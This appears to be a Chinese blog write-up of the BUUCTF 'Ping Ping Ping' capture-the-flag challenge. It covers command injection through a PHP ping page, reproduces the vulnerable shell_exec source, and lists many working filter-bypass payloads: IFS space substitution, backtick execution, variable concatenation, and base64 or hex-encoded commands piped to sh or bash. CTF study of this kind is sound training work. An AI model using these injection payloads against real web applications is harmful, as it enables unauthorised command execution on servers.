【BUUCTF】Ping Ping Ping (命令执行绕过总结)

题目来源

收录于:BUUCTF  GXYCTF2019

题目描述

提示较为明确,get方法传参127.0.0.1后结果如下

比较容易想到联合执行命令,先看有哪些文件

尝试直接读取flag.php

读取失败,对空格进行了过滤。

题解

以下内容参考文章:https://blog.csdn.net/vanarrow/article/details/108295481

对空格的绕过比较简单,在kali默认的shell中验证后得出,绕过可用以下方式

${IFS}
${IFS}$9 //这里$1到$9都可以
$IFS$1 //这里$1到$9都可以
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space) //在shell中无法直接使用%20代替空格,但是在URL编码中可以尝试,tab同理
%09 (tab)
X=$'cat\x09./flag.php';$X // \x09表示tab,也可以用\x20
X='cat\x09./flag.php';$X

内联执行:将反引号内命令的返回值(即输出值)作为整条命令的输入值

例如当命令为:

cat `ls`

即cat读取当前目录下的所有文件

因此可以使用上面的绕过方法配合内联执行,例如:

cat$IFS`ls`
cat$IFS$9`ls`

先读取一下index.php的源码

?ip=127.0.0.1;cat$IFS$9index.php

美化后代码如下

<?php

$ip = $_GET['ip'];

if (preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)) {
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!"); //不能包含的字符:& / ? * < > " \ ( ) [ ] { } ASCII值0到20之间的字符
} else if (preg_match("/ /", $ip)) {
die("fxck your space!"); // 不能包含空格
} else if (preg_match("/bash/", $ip)) { //不能包含bash
die("fxck your bash!");
} else if (preg_match("/.*f.*l.*a.*g.*/", $ip)) { //flag这四个字母不能按顺序出现在字符串中
die("fxck your flag!");
} $a = shell_exec("ping -c 4 " . $ip);
echo "<pre>";
print_r($a);
echo "</pre>"; ?>

我们看到不能直接输入flag进行文件的读取,但是可以使用变量赋值的方式,例如:

?ip=127.0.0.1;X=g;cat$IFS$9fla$X.php

字符串fla和变量$X拼接形成flag,成功绕过,flag显示在页面源码中

以下payload也可行:

?ip=127.0.0.1;X=ag;cat$IFS$9fl$X.php
?ip=127.0.0.1;X=lag;cat$IFS$9f$X.php
?ip=127.0.0.1;X=la;cat$IFS$9`ls` //内联执行配合空格绕过

但以下payload不可行:

?ip=127.0.0.1;X=a;cat$IFS$9fl$Xg.php
?ip=127.0.0.1;X=la;cat$IFS$9f$Xg.php

因为shell会把$Xg当成一个变量名进行解析,但是该变量并没有定义。而前面可行的payload中因为变量$X后紧接着是.,因此可以成功解析

此外也可以使用base64编码绕过。虽然过滤了bash,但是可以使用sh

?ip=127.0.0.1;`echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d`
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

总结

绕过空格

${IFS}
${IFS}$9 //这里$1到$9都可以
$IFS$1 //这里$1到$9都可以
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space) //在shell中无法直接使用%20代替空格,但是在URL编码中可以尝试,tab同理
%09 (tab)
X=$'cat\x09./flag.php';$X // \x09表示tab,也可以用\x20
X='cat\x09./flag.php';$X

内联执行

cat `ls`

变量赋值

X=g;cat fla$X.php

base64编码绕过

echo Y2F0IGZsYWcucGhw|base64 -d|bash
echo Y2F0IGZsYWcucGhw|base64 -d|sh
`echo Y2F0IGZsYWcucGhw|base64 -d`

Hex编码绕过(前提:安装xxd)

echo 63617420666c61672e706870|xxd -r -p |bash
echo 63617420666c61672e706870|xxd -r -p |sh
`echo 63617420666c61672e706870|xxd -r -p`

其他方法

cat fl*                 //用*匹配任意
ca\t fla\g.php //反斜线绕过
cat fl''ag.php //两个单引号绕过
cat fl[a]g.php //用[]匹配
cp fla{g.php,G} //把flag.php复制为flaG
ca${21}t a.txt //{}中可以是任意数字

【BUUCTF】Ping Ping Ping的更多相关文章

  1. 【linux】 linux 禁止ping

    linux 禁止 ping 一.修改内核参数 1.临时允许PING操作的命令为:echo 0 >/proc/sys/net/ipv4/icmp_echo_ignore_all 2.永久允许PIN ...

  2. 【BUUCTF】强网杯 2019随便注1 write up

    输入万能密码1' or 1=1# ,判断存在sql注入, SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台. 万能密码原理: 万能密码能够绕过sql检测,在 ...

  3. 【BUUCTF】ACTF2020 新生赛Include1 write up

    查看源代码+抓包都没有发现什么信息,只有这两个东东 <meta charset="utf8"> Can you find out the flag? <meta ...

  4. 【分享】一个集成tracert和ping的网络监测工具

    最近接到一个需求,需求背景是这样的:目前Windows平台下本身都有tracert和ping的实现,而且可以直接在cmd下使用. 需求中有两个要求: 1. Windows平台中的tracert执行速度 ...

  5. C#删除程序自身【总结】

    偶然看到一个可以自删除的程序,于是了解下如何实现.然后整理如下: 思路: 在.NET程序中,因为运行中的程序是受系统保护的,不能自己删除自身的,所以自删除的思路:  在关闭本程序之前启动新的进程打开另 ...

  6. 【故障处理】ORA-28040: No matching authentication protocol

    [故障处理]ORA-28040: No matching authentication protocol 1.1  BLOG文档结构图 1.2  前言部分 1.2.1  导读和注意事项 各位技术爱好者 ...

  7. 【转】IPtables学习笔记

    写在前面,大家测试玩iptables时要记得自己配置了那些东西,测试完成后记得删除啊,博主忘了删除一个input REJECT链的一条记录,后续测试搭建了apache服务器,始终无法访问,最后抓包发现 ...

  8. 采用Atlas+Keepalived实现MySQL读写分离、读负载均衡【转载】

      文章 原始出处 :http://sofar.blog.51cto.com/353572/1601552 ============================================== ...

  9. 【MongoDB】windows平台搭建Mongo数据库复制集(类似集群)(转)

    原文链接:[MongoDB]windows平台搭建Mongo数据库复制集(类似集群)(一) Replica  Sets(复制集)是在mongodDB1.6版本开始新增的功能,它可以实现故障自动切换和自 ...

  10. 【CSharp】C#开发ActiveX插件

    这几天Web项目中需要用到ActiveX插件(PS:听说这个是好久好久的东西了...),由于项目中需要调用本地资源所以只能研究研究这位老兄了. 先说说自己学习他的经历,开始的时候是用百度引擎检索自己所 ...

随机推荐

  1. Qt编写视频监控系统74-悬浮工具栏(半透明/上下左右位置/自定义按钮)

    一.前言 在监控系统中一般在视频实时预览的时候,希望提供一个悬浮工具条,可以显示一些提示信息比如分辨率.码率.帧率,提供一堆快捷操作按钮,可以录像.抓拍.云台控制.关闭等操作,参考了国内很多监控厂商客 ...

  2. Qt数据库应用23-个人信息报表

    一.前言 自从上次做完的图文报表,又新来了个需求需要实现个人信息报表,类似个人简历一样的格式,数据从数据库中取出来,然后一个人的信息就打印一张,传入查询的多个人员信息,自动分页打印个人信息报表,报表可 ...

  3. Qt通用方法及类库12

    函数名 //初始化表格 static void initTableView(QTableView *tableView, int rowHeight = 25, bool headVisible = ...

  4. Qt开源作品34-qwt无需插件源码

    一.前言 QWT,全称是Qt Widgets for Technical Applications,是一个基于LGPL版权协议的开源项目,可生成各种统计图.为具有技术专业背景的程序提供GUI组件和一组 ...

  5. JMeter使用指南+实验报告

    JMeter使用指南 目录 JMeter使用指南 界面基本配置方法 1.选项里的放大与缩小--缩放字体 2.选项里的选择语言 3.命令行的调出 注意事项 一些指标介绍 1.TCP取样器 2.汇总/聚合 ...

  6. SQL优化——深分页&排序

    问题背景 在开发 Web 应用或处理数据库查询时,分页是一项常见需求.然而,当面对深度分页(即页码较大,偏移量较高的分页情况)时,性能问题往往接踵而至.比如对一些需要拉特定的页面查询.范围导出.范围计 ...

  7. AI对开发过程的替代性

    在过去一年投入人工智能辅助开发之后,虽然大家说使用了人工智能之后工作效率显着提高,但我们日常使用的实际软件似乎并没有明显改善.所以问题出现在哪里? 使用场景 目前团队AI使用主要在以下方面: 代码补全 ...

  8. 关于动态使用keepAlive不生效的问题

    首先,我想实现在返回页面时,页面不进行刷新,比如我原先选择的第四页,返回后显示了第一页 想到使用keepAlive缓存组件,大部分推荐的方法为这样,但是不生效 <keep-alive v-if= ...

  9. pyspider安装使用遇到的坑

    一.pip install pyspider 安装出现错误: Command "python setup.py egg_info" failed with error code 1 ...

  10. 【解决问题记录】https网站中请求http资源接口报错与netERRSSLPROTOCOLERROR错误的解决

    在线上的CRM网站中,对接OBS做了一个专门的公共服务,公共服务使用的http协议,在页面中调用接口时出现错误:The page at 'xxx' was loaded over HTTPS, but ...